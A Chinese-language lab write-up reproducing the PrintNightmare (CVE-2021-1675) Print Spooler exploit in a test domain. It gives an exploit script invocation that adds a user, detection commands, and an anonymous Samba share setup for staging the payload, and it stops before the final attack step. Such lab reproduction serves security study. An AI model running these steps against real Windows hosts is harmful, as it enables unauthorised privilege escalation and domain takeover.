这个漏洞在2021年7月份被纰漏。现在12月漏洞利用已经趋近于比较成熟了,因此将对比市面上的一些EXP进行一下复现,比较优劣。
打印机服务默认开启,因此你不光可以利用该漏洞来攻击域控,也可以用来攻击域内任意主机
需要的条件:
Print Spooler服务开启——默认开启
一个域账户(想要打域控就需要一个域账户)
或者本地提权,就不需要域账户
网传利用版本:
win2012 win2008 win2016  win10  win8   win2019  win7 SP1
实验复现
win7  192.168.6.135  普通域内主机  拥有域账户111 a123456.
win2012  192.168.6.139  域控
一、PS脚本(该工具好像只能用来本地提权
https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
Import-Module .\cve-2021-1675.ps1Invoke-Nightmare -DriverName "PrintTest" -NewUser "test" -NewPassword "a123456."
排坑,不大好用,大量报错
win10在管理员模式下能够成功使用该脚本,但是无意义。
二、利用impacket
https://github.com/cube0x0/impacket
STEP1、探测漏洞
pip3 uninstall impacketgit clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install
python3 rpcdump.py @127.0.0.1 | findstr MS-RPRN
 检测漏洞是否存在,但是根据测试,本人最新版win10也存在,很奇怪,windows不会自动打补丁吗?
STEP2、开启匿名访问smb
apt-get install sambasystemctl start smbdsystemctl start nmbdvim /etc/samba/smb.conf 修改smb配置文件
smb配置文件如下
[global]workgroup = workgroupserver string = testnetbios name = MZsecurity = usermap to guest = Bad Usersmb ports = 445log file = /var/log/samba/log.%mmax log size = 5[smb]comment = Sambabrowseable = yeswriteable = yespublic = yespath = /tmp/read only = noguest ok = yes
之后直接访问地址就可以了,想关闭的话就使用命令
systemctl stop smbd
systemctl stop nmbd
